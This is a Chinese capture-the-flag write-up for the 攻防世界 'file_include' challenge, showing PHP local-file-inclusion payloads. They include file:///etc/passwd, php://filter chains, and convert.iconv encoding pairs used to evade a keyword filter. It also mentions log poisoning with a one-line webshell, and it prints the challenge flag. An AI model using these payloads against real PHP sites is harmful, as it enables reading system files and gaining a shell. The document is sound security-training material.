> 文章列表 > 攻防世界-file_include(convert.iconv的使用)

攻防世界-file_include(convert.iconv的使用)

攻防世界-file_include(convert.iconv的使用)

 

代码审计,存在文件包含,直接上伪协议

发现不行,应该是存在字符过滤 

知识盲区:

1.file://协议,需要填写绝对路径,只能读取txt文件,后面直接跟绝对路径。

file:///etc/passwd

2.php://filter

(1)String Filters(字符串过滤器

php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可php://filter/string.toupper/resource=flag.php //转大写php://filter/string.tolower/resource=flag.php //转小写php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

(2)Conversion Filters(转换过滤器)

php://filter/convert.base64-encode/resource=flag.php //base64加密读出php://filter/convert.quoted-printable-encode/resource=flag.php 

convert.iconv.*:

用法:

convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>

<input-encoding>和<output-encoding> 就是编码方式,有如下几种:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

payload:

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/var/www/html/flag.php

(3)Compression Filters(压缩过滤器)

payload:

php://filter/zlib.deflate|zlib.inflate/resource=flag.php        //zlib.deflate(压缩)|zlib.inflate(解压)
or
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php   //bzip2.compress(压缩)|bzip2.decompress(解压)

3.包含日志文件,抓包写入一句话木马,进行getshell 日志文件路径:

(1)/var/log/nginx/access.log(2)/var/log/apache2/access_log

4、iconv函数

完成各种字符集间的转换

$string = "XXXX";

iconv("utf8","gbk",$string)  //将字符串string 编码由utf8转变成gbk;

直接访问check.php这个文件里面的内容

/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php

 如果使用括号里面的编码参数会直接提示do not hack!

查看flag.php

注意伪协议里面的编码使用:/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

 $flag=cyberpeace{97c7789160615b28e7bb02fc233c4080}